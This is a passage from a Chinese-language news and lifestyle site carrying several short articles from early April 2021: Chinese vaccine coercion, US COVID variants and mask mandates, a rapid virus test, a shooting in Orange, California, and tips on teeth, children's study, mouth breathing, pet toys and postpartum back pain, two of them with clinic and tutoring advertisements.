可是在中国大陆,因为假疫苗、毒疫苗事件频发,而且新冠病毒疫苗的研制过程和质量备受质疑,民众对国产疫苗普遍没有信心,接种意愿很低。于是,各地开始催打国产疫苗,自愿接种迅速变为强迫接种。

3月31日,微博热搜榜出现话题“村民不打疫苗将被拉入黑名单”。相关内容显示,海南省万宁市的万城镇近日贴出一张公告写着“主动接种 全民接种 应种尽种”,下方列出不接种的五个后果。

包括: 1. 出行交通没车坐;2. 市场、超市、酒店难进入;3. 餐饮、酒店、商超等服务业不得营业;4. 不得享受政府优惠政策;5. 今后子女上学、工作、参军、住房报建等都会受到影响。

但人们对国产疫苗普遍缺乏信心,怕出现严重的副作用。

有网民留言说:“3月29日新规出来,备孕期也要求打了,都还没有孕期接种的临床测试,如果生出畸形儿国家管吗?”还有人说:“独裁疫苗”、“不怪国外说咱们没有人权”。

另外,据海外媒体报道,在香港施打国产疫苗,严重不良反应个案频传,已有11人接种科兴疫苗后死亡。选择接种中共国产疫苗的多个国家,智利、土耳其及巴基斯坦,确诊人数不降反升,疫情愈演愈烈。

智利在2月份已打了近900万针科兴疫苗,平均每100人接种47针,是南美接种率最高的国家。但当地确诊人数不跌反升,3月26日更录得7,626宗的单日确诊新高,导致病床供应紧张,首都圣地亚哥近日也将封城。

土耳其自1月中旬接种科兴,至少已有800万人注射,占总人口超过10%。但疫情同样于2月下旬后反扑,3月30日更录37,303宗新增确诊,为去年3月11日疫情爆发以来单日最高。

另外,巴基斯坦从2月初开始使用中共生产疫苗,目前却正在经历第三波疫情,全国的感染率上升至11%,是疫情以来的最高水平。其中,有二十多个城市因疫情严峻须“封城”。

2021-04-02 / by / in , ,
变种病毒感染增多,年轻人免疫力不如老年人?年轻人感染大幅增加,疗养院感染人数明显下降

【金牌网讯】美国疾病控制和预防中心(CDC)报告,全美已经出现超过11,500个变种病毒B.1.1.7感染病例。因不是每个案例都会做基因排序,所以,实际感染人数可能更多。

感染B.1.1.7案例最多的州是佛罗里达州,其次是密歇根州。密歇根当地官员称,当地另一波疫情高潮正在到来,并认为疫情扩散的趋势,与新的变种病毒、旅行增多以及人们对疫情的疲劳有关。

新泽西州官员本周三称,当地的感染新冠病毒案例和住院率都在增加,变种病毒据认为是主要原因。过去两周,当地的住院率已经增加了28%。

整个三月份期间,新泽西州的新冠病毒住院率,在20-29岁的年轻人当中增加31%;在40-49岁年龄段的感染者,增加了48%。

老年人可能是因为接种了疫苗的缘故,在新泽西,老年人感染人数只有单位数的增长率。

到目前为止,只有17%的美国人接种了疫苗。现在每天接种人数大约为300万人。

疫苗在抑制疫情方面正在发挥明显作用,尤其是在老人院,感染Covid-19的人数大幅下降。据美国健康保健协会和国家生活辅助中心的分析,从去年12月份接种疫苗以来,老人院感染新冠肺炎的病例减少了96%,与新冠有关的死亡率下降了97%。疗养院每周Covid-19感染人数和死亡率在3月7日均降至最低。

近来美国有一些州和地方官员,已经宣布接触口罩强制令,本周二阿肯色州解除口罩强制令,阿拉巴马州将于下周解除,犹他州也准备在本月中旬前后接触口罩强制令。目前仍有31个州,和华盛顿特区及波多黎各地区仍要求在公共场所需佩戴口罩,有19个州已经解除了口罩强制令。

                             还有口罩强制令吗?
阿拉巴马州 阿拉斯加州
加州 亚利桑那州
科罗拉多州 阿肯色州
康乃狄克州 佛罗里达州
德拉华州 乔治亚州
哥伦比亚特区 爱达荷州
夏威夷州 爱荷华州(Iowa)
伊利诺伊州 密西西比州
印第安纳州 密苏里州
堪萨斯州 蒙大拿州
肯塔基州 内布拉斯加州
路易斯安那州 北达科塔州
缅因州 俄克拉荷马州
马里兰州 南卡罗莱纳州
马赛诸塞州 南达科塔州
密歇根州 田纳西州
明尼苏达州 德克萨斯州
内华达州 威斯康辛州
新罕布什尔州 怀尔明州
新泽西州
新墨西哥州
纽约州
北卡罗莱纳州
俄亥俄州
奥瑞肯州
宾夕法尼亚州
波多黎各
罗德岛州
犹他州
佛蒙特州
佛吉尼亚州
华盛顿特区
西佛吉尼亚州
2021-04-02 / by / in , , , , ,
便携式测试工具,15分钟内可测出病毒;3小时内,确定是否携带高度传染的新冠病毒变种

【金牌网讯】新冠病毒检测技术大飞跃。新设备可在15分钟内诊断出新冠病毒,同时测试出类似的流感病毒;还可以执行基因测试,在3小时内确定样本是否与高致病性病毒变种有关。

据Daily Mail 网站报道,加州索尔科生物研究所( Salk Institute for Biological Studies, California)研究人员开发出的这种便携式新冠病毒测试装置,运行起来比其它测试更快、更便宜,可用来在学校和机场等地侦测病毒。

这种装置在几分钟内即可侦测出新冠病毒,甚至确定其是否有高度传染性。

用来检测的设备只有便携式笔记本大小,能够在3小时内测试出变种病毒,比如那些在英国和南非出现的变种病毒。这可能有助于确定病毒传播的速度。不像其它测试方法,完成同样的检测,需要昂贵的基础架构作为支撑,往往需要不同的机器,并进行2-3次不同的检测。

目前广泛采用的新冠肺炎病毒检测技术,采用的是聚合酶链反应(PCR)测试方法。这种检测被认为是检测的黄金标准,用来寻找病毒的基因物质。

如果患者的检测结果呈阳性,患者不知道他感染的病毒是不是高致病性变种病毒,除非送到不同的实验室,花几天时间检测才能知道基因排序的结果。

另外,联邦的规定也限制了大学可以报告什么信息及向谁报告。这意味著县卫生官员甚至不知道哪个县有病例。执行该检测的某些实验室,也不需要告诉医生或者患者检测的结果。

PCR技术需要通过在高低温之间转换,来分离DNA,然后定位病毒基因物质。 索科尔研究所的研究人员采用的是“等温重组酶聚合酶扩增技术”(RPA)。这种技术使用蛋白质来做同样的事情,速度更快。这一测试采用NIRVANA(nanopore sequencing of isothermal rapid viral amplification首字母缩写)技术,被称为“等温快速病毒扩增纳米孔测序”技术。

测试结果在杂志Med上发表,研究人员测试了70种样本,包括10种已知样本和60种未知样本。机器均正确辨识出存在哪些病毒,并将阳性病毒缩小到具体哪种病毒株。而且,这种装置可在同一时间内测试96种样本。

广泛流行的疫情,给人们带来两大挑战:首先能够进行广泛而快速检测,其次是了解患者的病毒变种。研究者之一贝尔蒙特(Izpisua Belmonte)认为,这种方法为目前及未来应对病毒的这两大挑战提供了有希望的解决方案。

2021-04-01 / by / in ,
找回那曾经只在电视上见过的明星笑容~你也办得到!

文|懂你的小伙伴

面子问题,怎能少了牙齿美容,快速击退丑牙不能不知!

你知道吗?全世界只有20%~30%的人,拥有一口整齐、漂亮的牙齿。因为从小到大,生活中我们有太多不良习惯,最终让牙齿「坏坏去」⋯⋯现代人很注重美容,脸上用多贵的保养品、化妆品,甚至整形,但是再怎么整,缺一口好牙,等你一笑、一张嘴⋯⋯直接打回原形(别怪我说话太直啊~)。所以你知道现在最流行、最火的整牙技术是什么吗?

四环素牙、氟斑牙、畸形牙、牙间隙过大等等。从小我们牙齿就很难整齐、完美无缺。现在你有机会完美它。(Pixabay)

不讲你不知道,现在哪一个明星敢说:我从小牙齿就这么美!

明星笑容 非整不可

大牌如Angelababy、林心如、宋慧乔、高圆圆、小S、胡歌⋯⋯网路上一堆他们当明星前,与当明星后的牙齿大比较,真是触目惊心啊⋯⋯(喔应该说:整得多美啊!)

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迷人笑容,其实是需要雕塑的。(Pxhere)

其实,这也很正常,人家明星是靠脸吃饭的,当然要有招牌笑容,如果一口黄牙、歪牙,那能上台吗?所以肯定得整。作为我们这种平凡人,如果也很注重面子问题(也是牙齿健康的问题),牙齿美容一定不能少。

牙齿美容 这个方法快速又持久

牙间隙过大,「瓷贴面」案例,前后对比。 (纽约牙科New York Dental Studio)

在欧美很流行戴牙套矫正,很多明星也都在戴过,不过牙套矫正是调整不正确位置的牙齿,让上下排牙齿定位在理想的位置上,但如果牙齿本身的颜色灰黑、发黄,或是形状不佳,那透过「瓷贴面」是一个很好的牙齿美容项目,迅速有效,还可维持长达15年!

「瓷贴面」也不只是让牙齿美观而已(别这么敷浅好嗎),它还有强化牙齿、修复牙齿的作用。 (不过注意,不是每个人都适合做,一定要经过医师评估后,才能确定适不适合。)

修复牙齿 纽约牙医推荐

牙齿排列不整齐,「瓷贴面」案例,前后对比。 (纽约牙科New York Dental Studio)

据「New York Dental Studio」的黄医生(曼哈顿牙医)指出,瓷贴面是一种牙齿修复体,需要抛光牙齿表面几微米,不会损伤牙釉质,对于牙体表面缺损、着色、变色等有很好的修复效果,主要是为了解决美观问题,可维持长达15年。在黄医师的诊所里有众多的患者采用这种新技术,从而获得迷人的笑容!

有些人可能会说,冷光美白也可解决牙齿颜色的问题。但黄医生说:对于牙齿由于着色(如茶渍、烟渍、咖啡渍),冷光美白有很好的美白牙齿的效果,但是如果牙齿本身是灰色的,那就需要由瓷贴面来解决了。

「瓷贴面」案例,前后对比。 (纽约牙医New York Dental Studio)

瓷贴面用瓷修复材料粘接覆盖其表面,修复牙齿的正常形态和色泽,可解决釉质发育不良、四环素牙、氟斑牙、畸形牙、牙间隙过大(有些不需要矫正,瓷贴面可解决)、邻面龋坏和切端缺损等。

黄医生说:瓷贴面就像是给你的牙齿量身定做的一层衣服。很薄(大约0.2-0.3mm),大概和隐形眼镜的厚度差不多。

「瓷贴面」案例,前后对比。 (纽约牙医New York Dental Studio)

从名字上来看,就知道它的材料由氧化物陶瓷一层层烤制而成,但是只有表面一层,和牙冠不同,不会改变健康牙齿的其他部分。颜色、形状可以根据自己本身情况定制,和国内很多采用的牙冠美容完全不一样。

曼哈顿牙医推荐 最硬牙冠兼具自然质感

当然,黄医师诊所也有制作牙冠的专业服务,有不少人美容牙齿同时用了牙冠、瓷贴面技术。黄医生说:牙冠最重要的目的是保护牙齿。当然随着技术的发展,牙冠的外表也越来越完善。越来越多人开始注重牙冠的美观,不想要有一个和自己本身牙齿差太多的牙冠,避免看起来不真实。

当你做了根管治疗、补了一颗比较大蛀洞的牙,或是物理损伤造成了牙齿的损坏,这个时候你都需要做牙冠来保护受伤的牙齿。

牙冠是全包裹的,在做牙冠前需要磨去部分牙齿,以形成一个良好的贴合面。早期有使用金属内冠烤瓷冠,即外侧烤瓷内侧金属的牙冠,价格较便宜,但就美观度来说,就差很多了。你想想牙齿本身基本是白色,但牙冠却是黄色、银色,一张开牙,这不就又露馅了嘛⋯⋯

暴牙问题矫正。 (纽约牙医New York Dental Studio)

黄医生说:现在有一种烤瓷技术,烤瓷牙也就是我们所说的牙冠。臼齿和前臼齿负责咬合,使用的是全氧化锆牙冠(Full Zirconia Crown),是目前市面上最坚硬的牙冠,透光性强,颜色自然。门牙和小门牙使用的是二矽酸锂冠e.max Crown,最接近牙齿本身的硬度,透光性极佳,完美接近自然牙齿的质感和颜色。

总的来说,门牙要较适合瓷贴面,而后面的臼齿则可能较适合牙冠。不过者都需要医生专业的判断才能帮助患者决定。

所以,欢迎您到纽约牙科「New York Dental Studio」走一遭,找回生命中似乎只在明星脸上看过的灿烂笑容~

牙齿过于拥挤矫正。 (纽约牙医New York Dental Studio)

诊所还有根管治疗、补牙、植牙等医疗服务。牙齿的健康绝对是幸福的大事,也是大享口福的必要条件喔!

纽约牙医:黄医师Brandon Huang DDS小档案(中文沟通没问题!)

纽约牙医:黄医师Brandon Huang DDS。

Dr Brandon Huang 是一位已从事牙科行业超过20年的精英牙科医生,拥有独立的位于纽约曼哈顿中城最核心地段的牙科诊所。黄医生擅长美容牙科,牙齿矫正方面是纽约数一数二的 Invisalign®  VIP Diamond Plus Provider;  牙齿瓷贴面 Veneers 也由于他对美国和亚洲面孔的双重审美做得相当出色,经验丰富、技术一流。

同时他也精通各项牙科手术,补牙、根管治疗、牙冠、拔牙、植牙的技术都深得患者信赖。

而且,在美国已生活近四十年的他,仍通过与凤凰医疗集团两年国际咨询合作,将中文练就可以与病人进行流利的交流的程度,不论是日常生活还是牙科专业用语,都能用你最熟悉的语言为你解释。

纽约牙科(New York Dental Studio)

地址:30 East 60th Street, suite 2402, New York, NY 10022
电话:212.588.1809
网址:https://www.nydentalstudio.com/chinese

2021-04-01 / by / in , , , ,
加州橙县突发枪击案 已知4人死亡,包括一名儿童;嫌犯行凶前似乎锁门

【金牌网讯】更新:加州橙县枪击案,可能与嫌犯和所有在场受害者的生意及个人关系有关。

橙县警察局发言人昨日在新闻发布会上认为,这是一件孤立案件,嫌犯和受害者相互认识。目前,嫌犯
Aminadab Gaxiola Gonzalez,44岁,正在因枪伤医院治疗,病情稳定但很危急。

枪击事件发生在本周三下午5:30,在南加州橙县西林肯大街200号一栋办公楼内。事件造成4人死亡。

在枪击事件中,嫌犯和一名妇女受到枪伤。今日美国报道称,两人都已住院,处于危急状态。警方今日将披露更多细节。

橙县警方在脸书上称,警方在5:30左右收到枪击呼救,赶到事发现场时,枪击案已发生,警方向嫌犯射击,但不清楚嫌犯的伤口是否是自伤。随后,警方在现场找到多名受害者。一名警官涉及这一枪击案。

Shooting In Orange, California, Kills At Least 4, Including A Child | TODAY – YouTube

一名住在大楼街对面的居民对《橙县纪事报》说,刚开始时,他听到很大声的间隔枪响,紧接著又是三声,安静了一下,又是很多枪声,随后是警笛和枪声。

隔壁汽车店的一位商户对洛杉矶时报说,开始时枪声很低,他不觉得是枪声,但紧接著听到大约10声枪击,然后看到很多警察持枪赶来。他随后被警察要求离开商店。

在建筑物内拥有生意的一名业主说,嫌犯明显的锁上了建筑物的出入口,看起来很熟悉这所物业。照片显示,这座建筑物内设有保险公司,财务咨询公司,手机修理店,地产公司、物业管理公司等商家。

近期已连续发生三起重大枪击事件。一周前,科罗拉多州一超市内发生枪击事件,造成10人死亡。更早一些时间,一名枪手在亚特兰大地区几处亚裔按摩馆内造成8人死亡。

2021-04-01 / by / in , ,
在家学习,如何提高学习效率呢?掌握8个要点,让孩子越来越优秀

文|Happy2

新冠肺炎流行期间,孩子们仓促的进入了“在家网上学习”模式。很多家长担忧自己的孩子在家学习没效率。时间越长,越可能会出现两极分化:自律的越来越优秀,反之则越来越差。那么在家学习干扰多,如何提高学习效率呢?

掌握八个步骤,可以帮孩子在家获得更好的学习效果:

1.制定家庭学习时间表

计划有助于执行,帮助孩子们在大脑中形成重视在家学习的概念。在家上学,时间的安排方面和学校上学时间应基本保持一致。否则,时间点错位,会让许多自控能力弱的的孩子,无法适应习惯的改变。

象学校正常开放时期一样,孩子的学习时间表应涵盖孩子正常上课期间所要做的那些事情,包括:起床、锻炼、进餐、学校课程(网上学习)、测试、交流时间等不同的安排。当然,也要给孩子留下足够的锻炼身体和游戏时间,这样有助于帮助他们调整身体,休息大脑,保持学习的兴趣。

时间对每个人都很公平。每个人一天都是24个小时,再怎么挤也有限。但是,世界上有一种重要的东西——效率。教会孩子自主学习,做学习的主人, 拥有了学习能力,无论什么学习状况,孩子们都会取得更好的成绩。

另外,还要据孩子不断变化的需求灵活的调整时间表。但一旦设置好时间,就要鼓励孩子执行下去。

2.学会执行

凡事预而立,不预则废。在家里的孩子会怎么舒服怎么来,困了就睡,饿了就吃,即便是计划做得再好,大脑也不会引起相对的重视。要想把良好的计划变成现实, 除了孩子自律外,家长的作用尤为重要。

刚开始一段时间,家长一定要坚持与孩子一起认真执行。同时也是在向孩子表明家长的重视。一般在21天后,孩子们就会习惯新的计划。

有些学生喜欢熬夜学习,觉得夜里安静干扰少,但如果熬夜太晚,就会影响白天的精神,伤害身体。还有的孩子看手机成瘾,容易忘记时间的安排。父母是孩子的榜样,家长要身体力行,和孩子一块早起、锻炼、进餐等。要善于了解孩子的兴趣爱好,还要监督、引导孩子。

3.在家网上学习,学校会提供打包课程

提前预习,是提高学习效率的关键。在家网上学习对学生的自学能力和自主学习能力都有一定的要求,与在校的接受式学习是不一样的,因此,建议学生在家先提前预习新内容,把自己预习中不理解的问题,做好笔记,在课堂上找到答案。带著问题学习,效率自然就提高了。

注意啦:一定要做好笔记,以备复习用。

课堂上的时间是有限的,课后对学生来说更为重要。有些课程的学习,要加强练习重点、难点。有些则强调阅读、理解。提醒孩子,每天花20分钟左右时间,及时复习白天的内容,有助于他们跟上学习进程。

4.检测当日在家的学习效果

在学校里,老师通过考试来检测学生的学习效果。在家学习,该如何给自己检测呢?最简单的方法也是考试。每天学习结束后,家长需要对孩子当天的学习情况进行检查,主要有如下方法:

A.让孩子简短的复述当天学习的内容,同时可训练记忆力。

B.寻找相应的测试题对孩子检验。

C.鼓励孩子之间的交流学习,互相讲解。

“费曼技巧“可以让孩子记忆深刻,事半功倍。其要点是:通过相互交流和讲解,加深对概念的记忆和理解。

如果能把某个概念讲解的很流畅、到位,说明他对这些知识已经掌握透彻了。否则,说明对这些概念的掌握还不够好。从自己学会,到教授别人,学习能力完全不是一个档次的。家长也要其他父母建立联系,与别的家庭沟通会为您带来宝贵的信息,从中发现更好的解决问题的方式,也确保你的家庭和孩子不与社会脱节。

5.简化学习环境,把无关内容减到最少

学校的环境很简单,有老师、同学、书桌……满满的都是学习氛围。在这种环境里,自然容易专注于学习。家里环境可就复杂了。手机、零食、水果、舒服的沙发、电视,环境太杂、诱惑太多,给孩子的学习制造了很多不必要的障碍。

家长要给孩子创造单独安静的学习空间,然后不要随意去打扰,例如:一会儿过来看两眼,一会儿端来水果一杯水……某些家长认为这是关心,殊不知这样会破坏孩子比较脆弱的专注力。

6.学业很重要,娱乐也重要

学习之余,别忘了给孩子们留出休闲娱乐的时间。例如,孩子们将如何进行体育锻炼?什么时候与其他孩子交往?要充分考虑课外活动,留下足够的时间。

身、心、脑是一体的。学习的发生,是身体、心理和大脑同时运作的结果。建议青少年学习者每学习1小时左右,进行适量适度适时的运动,增加身体的感知。一方面可以预防近视,保护视力;另一方面,可以放松身体,当身体处于较好状态时,学习起来会事半功倍。

7.耐心是最好的工具,培养挖掘孩子的兴趣点

建议家长慢慢地观察孩子的学习效果,无论是哪一种学习模式,学习都是一个循序渐进的过程。家中学习,但也给家长们留下了充足的与孩子们交流的时间,培养孩子的学习兴趣、自信心。

要知道“兴趣是最好的老师”。以鼓励孩子为主,不要斥责孩子,学会换位思考。站在孩子的角度思考,一句鼓励的话,收获的效果可能远远高于你的想象。

8.如果家长没时间,课外辅导也是不错的选择

教育是一项专业训练。有些没有经验训练的父母们,对如何教育孩子可能会一头雾水。但有经验的补习老师可以帮助家长解决这一问题。他们的专业经验,有助于及时发现孩子们在学校学习中存在的问题,拾遗补缺,帮助孩子们赶上学习进程。如果有条件,父母可以和孩子商量有针对性的选择一些科目补习。

必昇教育中心(IVY ROAD PREP),特色教育辅导,小学、中学、高中教育辅导课后辅导, 必昇教育中心(IVY ROAD PREP)补习班暑期班正在热招中,报名专线:(347)761-5500(补习班补习班)。电话:347-761-550,地址:43-44 Kissena Blvd, Flushing, NY 11355

 

2021-04-01 / by / in , , , ,
“口呼吸”会改变孩子容貌?长期后果,比你想象的还糟糕!5个小建议,改变口呼吸

文|雨荷

“口呼吸”不是我们想象中的字面意思,完全经口呼吸,而是口鼻混合呼吸。鼻呼吸是我们正常的生理呼吸,在安静的时候一般都是鼻呼吸。空气由鼻腔进入肺,当各种原因使空气不经鼻腔而由口腔入肺,就形成反射口呼吸。鼻呼吸的时候,气流绝大部分是经过鼻腔的,而口呼吸的时候,经过口腔的气流占总的气流的25%~30%以上。那么口呼吸到底有什么危害呢?

口呼吸會吸入更多病菌,疫情期间更需注意

口呼吸的危害很多。当人们用嘴呼吸时,空气没有经鼻腔过滤而由口腔直接被吸入,病菌、异物直接附着于咽喉部,甚至直接吸入肺部,易诱发口腔疾病和呼吸道感染。长时间张嘴呼吸会使人体内的水分大量丢失,还可能会因为空气的直接刺激,引起牙龈和黏膜,甚至呼吸道病变。尤其是在新冠肺炎流行期间,口呼吸,会带来更大的健康风险。

口呼吸對儿童成长影響大

对儿童来说,口呼吸的负面影响更为明显,容易引起面部结构改变。长期口呼吸的孩子,往往会出现鼻翼萎缩、嘴唇肥厚、下巴后缩、头部前倾、牙齿排列不齐、上前牙前突形成暴牙等特征,严重影响了孩子的颜值,可能会造成面部肌肉不易活动,缺乏表情的“腺样体面容”,还会导致孩子在脑部发育时供氧不足,对孩子的记忆力和智力发育造成不利影响。

口呼吸有什么特征呢?

1.嘴巴开开的;

2.黑眼圈;

3.长脸型但是下巴后缩;

4.姿势不良常常弯腰驼背;

5.白天容易想睡觉;

6.经常鼻塞流鼻涕

7.注意力不集中

8.睡觉流口水

9.打鼾。

口呼吸的動物實驗

关于口呼吸最知名的研究莫过于在1980年代,由美国著名的矫正医师埃吉尔・哈佛(EgilHarvold)对于恒河猴所做的实验,他将一群2至6岁,还在发育中的小猴子的鼻子塞住,让他们只能透过嘴巴呼吸,观察咬合和脸型的变化,发现小猴嘴巴打开、脸型变长、上颚牙弓变窄、下巴后缩、咬合不整。

幸运的是当移除鼻子的阻塞物后,猴子们慢慢回复使用鼻呼吸,脸型也逐渐恢复,但是牙齿咬合的位置无法恢复,也没办法帮猴子透过齿颚矫正恢复咬合功能,结果这群可怜的猴子因为牙齿咬不起来,被拔了好几颗牙。因为这个实验不符合道德伦理,后来被保育人士给禁止了,但我们可以从这个动物实验发现,口呼吸对于颜面的发展有绝对的相关性。

口呼吸的病因

一般来说,口呼吸的病因主要分为两种,一种是病理性的上气道阻塞。上气道阻塞我们很容易理解,上气道分为鼻腔、鼻咽、口咽部,喉咽部,上气道各段都可能发生阻塞引起口呼吸。

儿童鼻腔阻塞最多见的原因如过敏性鼻炎,其他还有鼻甲肥大、慢性鼻炎、鼻窦炎、鼻畸形、鼻中隔偏曲、鼻外伤、后鼻孔闭锁,会造成鼻腔阻塞影响正常的呼吸模式,从而逐渐形成口呼吸。

对于这类患者,首先要到耳鼻喉科就诊,醫治各种导致呼吸道阻塞的原因。若是常见的扁桃体或腺样体肥大,导致口呼吸的发生,可能还需要手术切除肥大的腺样体或扁桃体。

另一种病因就是非疾病引起的习惯性地张口呼吸。是习惯性的口呼吸。这种口呼吸习惯是儿童的无意识行为,在尚未导致儿童产生软组织及骨组织畸形时,就要及时采取措施:让孩子有意识地闭合双唇,利用鼻通气;家长看到孩子口呼吸时,要提醒其恢复鼻通气方式呼吸,并告知口呼吸的危害;帮助锻炼唇部肌肉;睡觉时可以尝试帮助孩子,遮挡嘴巴而不遮盖鼻子呼吸。对孩子成功利用鼻呼吸后给予鼓励,并不断支持孩子坚持使用鼻呼吸。

鼻呼吸的练习

长期使用口呼吸的人,口腔周围的骨骼和肌肉,会适应张口的趋势生长,就会不容易将嘴巴闭起来,就算鼻子问题改善了,牙弓扩张了还是习惯用口呼吸。因此需要花精神来做一些简单的练习,让身体习惯用鼻呼吸,否则治疗的成果没有办法维持,矫正完了之后还是容易有复发的现象。

以下是建议每天都需要做的:

1.每天用半小时以上的来练习用鼻子呼吸,久而久之就会逐渐习惯用鼻子呼吸。睡觉时给孩子戴上,一个三层纱布的特制小口罩,把鼻孔留在外边,迫使其改用鼻腔呼吸。

2.如果方便,每天坚持嘴巴里含一口水,这样就可以保持嘴唇紧闭,没有人注意到也一样可以练习用鼻子呼吸。

3.呼吸练习,鼻子不好的人呼吸常常较为急促,在做呼吸练习的时候闭口慢慢呼吸,让空气经过鼻腔将杂质过滤,鼻黏膜让空气湿润,免疫细胞清除过敏原,身体才能处于一个和缓安定的状态。

4.经常闭口鼓气,如吹口哨、吹小喇叭、吃棒棒糖、咀嚼口香糖并吹泡等,并以舌及颊肌运动促进口腔、牙齿的清洁。

5.运动时闭上嘴巴做跑步、跳绳等运动时,由于需氧量增加,许多人会张大嘴喘气,这同样对身体不利,尤其是冷空气或脏空气入侵,会刺激呼吸道。因此,运动时,尽量闭紧嘴巴用鼻子均匀、有节奏地换气。

这些做法都不需要特殊的道具也容易执行,不管大人小孩都适用,一开始会不太适应,维持时间也较短,但是慢慢的身体就会发现鼻呼吸的好处喔!成功的秘诀还是要持之以恒的练习!

家长对孩子的口呼吸情况要做到随时关注,而对于口呼吸的矫正也最好早一点,越早对孩子的成长越有利。及时纠正不良习惯,还能让孩子的面容自行恢复生长正常。如果等到孩子已经形成面容的改变、牙齿的畸形、嘴型的变化等问题,那就要及时带上孩子去进行矫正。

2021-04-01 / by / in , ,
挑选宠物玩具好烦心?家有宠物的主人看过来,购买宠物玩具的三个小秘诀

文|无疆行者

狗狗“拆家”的骇人景象,相信很多“铲屎官”都有遭遇过。现在城市人总是忙于工作,没有太多闲暇时间陪伴狗狗。当主人离开家时,狗狗就会产生分离焦虑的的情绪,肆无忌惮的破坏家中的物品。

买些宠物玩具,这是让宠物增添乐趣、消磨时光的好办法。专家认为应尽早让幼小宠物接触合适的玩具,让它们习惯咬抓玩具,这样比较不会抓撩沙发家具。市场研究机构AMA Research的调查数据显示,英国每年花费在宠物玩具上的消费超过1亿英镑。

可是自家的狗狗最喜欢的玩具是什么样子的呢?“益智型”、“啃咬型”、“追逐型”,林林总总该如何挑选呢?

今天,小编和大家分享几个购买宠物用玩具的小秘诀,希望能对各位小伙伴有所帮助喔!

一、选择符合猫狗体型尺寸的玩具

最受猫狗欢迎的玩具是符合它们嘴巴“大小适中”的玩具,表面太滑,过大,无法轻易掌控,难以叼起的玩具“不太好玩”,它们往往只会盯着看,只要猫咪狗狗能衔咬、搬运的玩具,它们通常喜欢玩。

若购买了条件不符合的商品,可能会因为尺寸过大、硬度或力道过强,而导致狗儿牙齿、骨骼受损,或是发生误食的危险。

一般给大型犬的玩具材质耐咬,禁得起拉扯,避免买空心或软质的玩具;体型较小或高龄的猫犬,建议选择类似橡胶这种软韧耐咬的材质。

二、注意玩具的材质

为狗狗挑选玩具时,最需要注意的一点,就是玩具的材质了。

目前市面上比较常见的玩具材质是乳胶、橡胶、塑料、帆布、PP棉、绳结等。其中,前三种材质主要用于制作狗狗磨牙用的玩具,也经常会打上“耐咬”的标签;而帆布和PP棉则主要用作制作一些布偶发声玩具;尼龙绳则主要用作制作狗狗拔河玩具。

三、不同游戏方式挑选不同种类的玩具

有些猫狗对声音较敏感,玩具发出声响会吓到,也有的特别喜爱有声音的玩具,而且不同猫咪犬种喜欢的游戏类型也不尽相同。

★★啃咬玩具

换牙期的猫犬总想啃咬东西,建议每天独自玩玩具至少30分钟,让它们习惯独处玩玩具。非换牙期的狗狗也会因好奇而啃咬,无论宠物大小,啃咬玩具是“经久不败款”很受欢迎。

木头与聚丙烯制成的啃咬玩具,或乳胶玩具比较容易咬出碎屑或咬破,耐用与安全性稍显不足,而橡胶玩具重量轻,具有耐咬、弹性和好清洗等优点比较合适。

 

特别是“口腔保健玩具”相当厚实,最好挑选经过检验合格的,含有水果,肉类等香气,狗狗特别好奇,甚至发出吱吱声音,越玩越有趣。还有耐咬洁牙棉绳也能提供给宠物“啃咬”,打结球的设计,让猫狗在玩乐中同时洁牙。

★★拉扯玩具

咬住物体并拉扯是狗狗的本能,扎实而厚粗的编织棉绳会比布条更适合拉扯,牢牢固定在一端,让狗狗自己玩,也可以跟主人一起玩“拔河”游戏,锻炼咬合力,全身肌肉,还能训练扑咬技巧,增强自信心。

洛威纳、德国牧羊犬、杜宾犬等较有警戒心的工作犬,通常会喜欢大块头、耐拉扯的玩具,但在游戏中要适时控制“过激”场面,以免情绪过度亢奋;让狗狗在游戏中有赢也有输,进而学习适当力度。

★★抛接玩具

狗狗都喜欢“你丢我捡”的游戏——滚动的球,投掷飞盘等,拉布拉多、猎犬这类擅长追踪猎物的狗狗特别喜爱,追着会滚会飞的玩具可以玩上个把钟头,大大消耗体力,还能增进饲主与宠物之间的感情。

球体大小要特别注意,像嘴较大的法国斗牛犬等,不可玩较小颗的球,购买无毒,较厚实的弹力橡胶球,耐用又安全。抛接游戏最适合在公园等宽阔场地玩,将球拍落地后又高高弹起,这会让狗狗乐不可支,回到家也没精力“搞破坏”了。

★★益智型玩具

许多聪明猫犬喜欢玩“动动脑”的游戏,贵宾、小猎犬、雪纳瑞等狗狗通常很有兴趣玩“益智型玩具”,例如不倒翁外型的零食罐,将零食放入后,狗狗通过旋转、滚动等方式将零食取出,开心玩乐又能激荡脑力。

★★电动玩具

装有电池的电动玩具能大大满足狗狗好奇心,例如电动跳跳球,有的标榜“检验合格的安全塑胶材质”,给大型犬玩也不怕会咬坏,只要放入电池,设定喜爱的“模式”滚动,猫咪狗狗便一个劲地追着跑。有的电动球充电1小时可使用2—8小时。主人晚上回到家后,记得收起白天所有玩具,以保持狗狗对玩具的新鲜感。

家宠在玩耍中学习,玩玩具可说是生活中重要的一部分。主人可多准备4—5种不同的玩具给猫咪狗狗玩,但不要一次全给,慢慢“推陈出新”,让它们始终对玩具充满兴趣,每天都过得开心。

2021-03-31 / by / in , , , , , , ,
产后腰痛,别让打麻醉背锅;注意4点,可避免及减少腰痛

文|雨荷

在门诊中常常遇到产后腰痛的患者,尤其是分娩镇痛或剖腹产后的妈妈。医生经常会遇到孕妇及家属咨询:打麻醉会不会留下腰痛的后遗症?也有患者问,生完孩子后有点腰痛,是不是无痛分娩造成的?多数妈妈都认为她们的腰痛是麻醉医生打麻醉引起的。

据2012年英国学者收集的世界范围内有关产后腰痛原因的调查结果显示,产后腰痛与无痛分娩没有相关性,其主要还是两大原因:一是腰肌劳损,一是腰椎间盘突出。

腰肌劳损最为常见,妊娠时逐渐增大的子宫使孕妇的腰部支撑力逐渐增加,相当于一个持续的前倾力作用于产妇,腰背肌肉群长期处于紧张状态,加之孕妇不当的休息体位等因素导致腰肌劳损,进而引起腰痛。

此外,妈妈在产后又要经常抱孩子、喂奶,会加重腰肌劳损,导致腰痛。恰巧,剖腹产时麻醉医生往往是在产妇的腰背部穿刺打针,所以一些妈妈会认为她们的腰痛是麻醉医生打麻醉引起的。其实绝大多数情况下还真不是麻醉医生的错,而是长期腰部劳累所致。

韧带松弛易致腰椎间盘突出。在怀孕过程中,由于孕激素增加,会引起身体韧带的松弛,孕妇弯腰的时候多,容易导致腰椎间盘突出,从而引发腰痛。下腰椎、腿部会出现持续性钝痛,而且痛感会越来越强。

产后如何避免及减轻腰痛呢?

通常有以下几个方面需要注意:

